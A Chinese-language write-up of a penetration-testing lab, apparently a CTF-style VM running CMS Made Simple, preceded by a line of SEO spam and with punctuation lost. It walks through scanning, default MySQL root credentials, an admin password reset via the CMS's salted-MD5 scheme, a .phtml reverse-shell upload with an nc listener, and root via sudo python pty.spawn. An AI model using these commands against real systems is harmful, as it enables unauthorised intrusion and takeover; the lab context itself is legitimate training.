新型建站技术,改则网站建设,网站建设必须要在阿里云备案吗,怎么怎么做网站文章目录 一、环境布置主机发现 二、端口扫描nikto基本探测目录扫描CMS EXP搜索探查mysql数据库CMS代码审计CMS后台权限提升 一、环境布置
靶机在virtualbox中搭建#xff0c;攻击机使用vmware中安装的kali#xff0c;主要是解决kali能ping通靶机#xff0c;同时能访问外网… 文章目录 一、环境布置主机发现 二、端口扫描nikto基本探测目录扫描CMS EXP搜索探查mysql数据库CMS代码审计CMS后台权限提升 一、环境布置
靶机在virtualbox中搭建攻击机使用vmware中安装的kali主要是解决kali能ping通靶机同时能访问外网。 解决方法VirtualBox(Host only)和VMware共用同一虚拟网卡 需要注意的是靶机IP怎么获取开启靶机后靶机会自动显示ip地址。 192.168.56.1并不是靶机的ip地址而是主机本机物理机在该局域网下的IP地址同时需要启用DHCP服务器来让kali再该封闭式局域网only-host中获取一个IP地址。 在该host模式的局域网下主机192.168.56.1可以ping通靶机192.168.56.103和kali192.168.56.101但是kali192.168.56.101不能ping通主机192.168.56.1。 故所有设备IPOnly-host如下
靶机IP192.168.56.103kaliIP192.168.56.101
主机发现
也可以用nmap进行主机发现主要是对only-host模式下的局域网进行主机发现命令如下
nmap -sP 192.168.56.0/24 # 对192.168.56网段进行扫描192.168.56.1主机IP192.168.56.100DHCP服务器IP192.168.56.101Kali IP192.168.56.103靶机IP。
二、端口扫描
nmap -p- -sV -A 192.168.56.103-p-代表扫描所有端口从1-65535默认进行TCP扫描 -sV探测服务/版本信息; -A启动OS检测版本检测脚本扫描和traceroute。简单来说输出更加详细的日志信息。 没有-A参数的扫描结果也就是命令nmap -p- -sV 192.168.56.103 整理出nmap扫描的重要信息并保存到scan.txt中 这里可以看到该靶机开放了ssh服务22端口、web服务80端口、mysql数据库服务3306. 针对80端口的web渗透通常
使用nikto进行基本的漏洞探测目录扫描发现更多网站路径。
nikto基本探测
使用nikto对web服务做基本的探测命令如下: nikto -host http://192.168.56.103扫描结果如下nikto除了检测漏洞信息也有进行目录扫描如扫出./phpinfo.php、./config.php等。 一般情况下phpinfo.php是不会被看到的在某些src平台泄露phpinfo甚至算低危漏洞。 目录扫描
目录扫描命令如下 dirsearch -u http://192.168.56.103 -w ./directory-list-2.3-medium.txt -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak-w爆破所用字典的位置包含多个字典可用,分割字典使用SeclLists -e站点文件类型列表如php、js、html等。 扫描结果如下 发现用dirsearch默认的字典跑出来结果还多些真是栓Q~ 简单说一下http状态码的含义
2XX成功状态表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。3XX重定向表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。4XX客户端错误表示客户端的请求存在错误导致服务器无法处理。401表示需要身份验证403表示禁止访问。
打开http://192.168.56.103/phpmyadmin发现需要登录这里可以尝试弱口令爆破先不尝试看看后面有啥 打开http://192.168.56.103/config.php发现空白可以尝试用命令行访问是不是真的空白命令如下curl -i -L http://192.168.56.103/config.php -i打印出服务器回应的 HTTP 标头。 -L会让 HTTP 请求跟随服务器的重定向。curl默认不会跟随重定向。 打开http://192.168.56.103/config.php尝试SQL注入使用万能密码登录。发现不行过滤符号 不过这里可以发现该网站使用CMS搭建CMS版本为CMS Made Simple
CMS EXP搜索
知道了CMS就可以用searchsploit去找该CMS是否有漏洞命令如下
searchsploit cms made simplesearchsploit是一个用于Exploit-DB的命令行搜索工具就是kali本地会有一个漏洞库漏洞库里的数据来自Exploit-DBsearchsploit是漏洞搜索脚本。 目前CMS版本未知只能挨个去尝试重点关注RCE漏洞。这里尝试使用2.1.6 Remote Code Execution
searchsploit -m 44192.txt # exp复制到单独的文件夹该exp需要访问/cms文件夹网站都没这个目录不太行再尝试别的。网站这块搞不定了只能到这儿了换下别的思路
探查mysql数据库
当详细输出下面这类信息的时候说明mysql允许远程连接mysql数据库。 尝试弱口令和默认用户名密码来连接mysql数据库~命令如下
mysql -h 192.168.56.103 -uroot -p # 尝试空密码、root密码用户名和密码都是root☺️☺️☺️ 在cms_users中发现了后台用户名、密码经过MD5加密32位尝试暴力破解发现不行。可以继续尝试更新admin用户的密码。 echo -n 123456 | md5sum # 计算123456的MD5值//update命令用法
update table_name set column1 value1 where condition;
update cms_users set password md5值 where username admin; # 实际环境中最好不要使用update命令 echo -n表示不换行输出默认会将\n换行符送给下一个命令管道符|A | B表示命令A的结果为命令B的输入。 回到http://192.168.56.103/config.php使用更新后的密码进行登陆发现登录不成功G 登录不成功有以下几个原因 使用的算法不是MD5对密码进行了特殊处理。 接下来去找CMS Made Simple的源码分析加密方法。cms源码下载 trunk文件夹包含代码主干信息。 CMS代码审计
要想知道cms是怎样对明文进行加密的我们需要找到登录时候的代码在这个cms中就是login.php。大概看下逻辑如下图如果登录取消就怎么怎么样如果登录提交就怎么怎么重点就是else if后面的代码首先是判断post传参中的username和password如果存在就赋值给$username和$password认证代码肯定是调用的外部函数再加上相关注释验证代码应该在LoadUserByUsername中。 在LoadUserByUsername中当password ! 时在password前面拼接了一段字符串再进行md5加密。 找到get_site_preference()函数发现是调用cms_siteprefs中的静态方法get来得到那串字符串。 cms_siteprefs::get中的::代表调用静态方法。 转到cms_siteprefs的get方法以当前类为参数去调用global::get大概意思应该是在全局缓存中以当前类名为参数进行查询$prefs[$key]不为空就返回$prefs[$key]否则就返回空。 转到global::get根据return的值可以发现最终返回的是$_cache中的内容而$_cache的值是来自于$_type。而$_type是通过函数add_cachable()来获得的。 在cms_siteprefs的setup方法中调用了global_cache的add_cachable方法大致意思就是变量$obj的值来源于静态方法readread方法是执行了SQL语句来获取相关内容并赋值给变量$_prefs。总的来说我们需要的$prefs[$key]来源于这个SQL语句的结果。 根据SQL语句查询的表名应该是带有site_prefs字符串的表名可以看到数据库中只有cms_siteptrefs这个表。 show create table cms_siteprefs; # 查看表的创建过程
desc cms_siteprefs; # 查看表的结构我们需要的$prefs[$key]这个值$prefs来源于cms_prefs这个表而$keysitemask然后根据$_prefs[$row[sitepref_name]] $row[sitepref_value];可以推测出sitemask应该归属于列名sitepref_name故构造SQL语句
select * from cms_siteprefs where sitepref_namesitemask;芜湖~拼接上这个值再进行md5加密就可以更改管理员密码了
echo -n 值 | md5sum # 计算123456的MD5值//update命令用法
update table_name set column1 value1 where condition;
update cms_users set password md5值 where username admin; # 实际环境中最好不要使用update命令 使用密码登录CMS后台~
CMS后台
渗透测试的目标是登录远程主机并且获得root权限目前只是获得了web服务的权限。在后台重点找文件上传点。文件上传的目的是上传一个恶意脚本来拿下这台主机来达到一个效果我们在本地输入命令终端会执行输入的命令也就是将终端的conmand reverse 到本地。那么上传什么样的脚本呢该脚本的功能就是将终端的命令行能reverse到本地。找一个php reverse脚本php-reverse-shell可以使用git clone命令进行脚本下载。
:set number # vim中对每一行添加行号
# 更改ip和端口
$ip 192.168.56.101;
$port 4444;在这个上传点进行文件上传上传php-reverse-shell.php这个脚本发现不成功。文件上传失败的原因有可能限制后缀名。这里就需要使用一些绕过技巧~ 在php开发中纯php代码的文件后缀一般是.php纯html代码的文件后缀一般为.htmlphp代码和html代码混合的文件后缀一般为.phtml。 这里可以试着将原文件的后缀.php改为.phtml再上传上传成功~ 监听本地4444端口浏览器执行上传的shell文件反弹shell。
nc -nlvp 4444-n直接使用IP地址而不通过域名服务器 -lllisten监听模式 -v显示指令执行过程 -pport端口。 权限提升
登录到主机后做以下事情 1、 到home目录下看有哪些用户有自己的目录即哪些用户能登录该主机
ls -al; # l代表以列表的形式进行输出a查看隐藏文件这里只是发现binary.sh是一个具备SUID权限的程序简单来说就是所有用户均可执行具备SUID权限的程序在执行过程中执行者将拥有程序所有者的权限。
2、搜索具备SUID权限的程序命令如下
find / -perm -us -type f 2/dev/nullfind语法find [path] [expression] -perm按照文件权限来查找文件。 -type按文件类型查找可以是 f普通文件、d目录、l符号链接等。 2/dev/null 错误输出不显示在屏幕上 这里发现了这么多Set UID的文件可以尝试sudo提权。还不太理解先看别人怎么做~ cd /var/www/html/admin # 进入网站的admin文件夹下
ls -al # 查看该文件夹下的所有文件发现一个带有password的隐藏文件cat .htpasswd
echo 值 | base64 -d # 对值进行解码-d就是解码不要-d就是base64加密看到字符串中含有大小写字母、可能是经过了base64编码。 这里获取到了armour用户的密码。当拿到一个用户名和密码登录到系统的时候第一件事是看这个用户有没有sudo的权限
su armour # 变更用户为armour
sudo -l # 查看当前用户的权限主要就是看该用户在运行某个脚本时能不能以root用户去运行。
sudo -i # 使当前用户长时间拥有root用户权限可以发现当前armour用户当使用sudo执行python脚本时会以root权限运行且无密码。那么可以使用python来获取root用户的shell。反弹Shell升级为交互式Shell、python
sudo python -c import os;os.system(/bin/bash) # 获取普通shell
sudo python -c import pty; pty.spawn(/bin/bash) # 获取半交互式shell# 获取交互式shell
$ python -c import pty; pty.spawn(/bin/bash)
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELLbash
//$ export TERMxterm-256color最后拿到flag所有的flag都在/root/proof.txt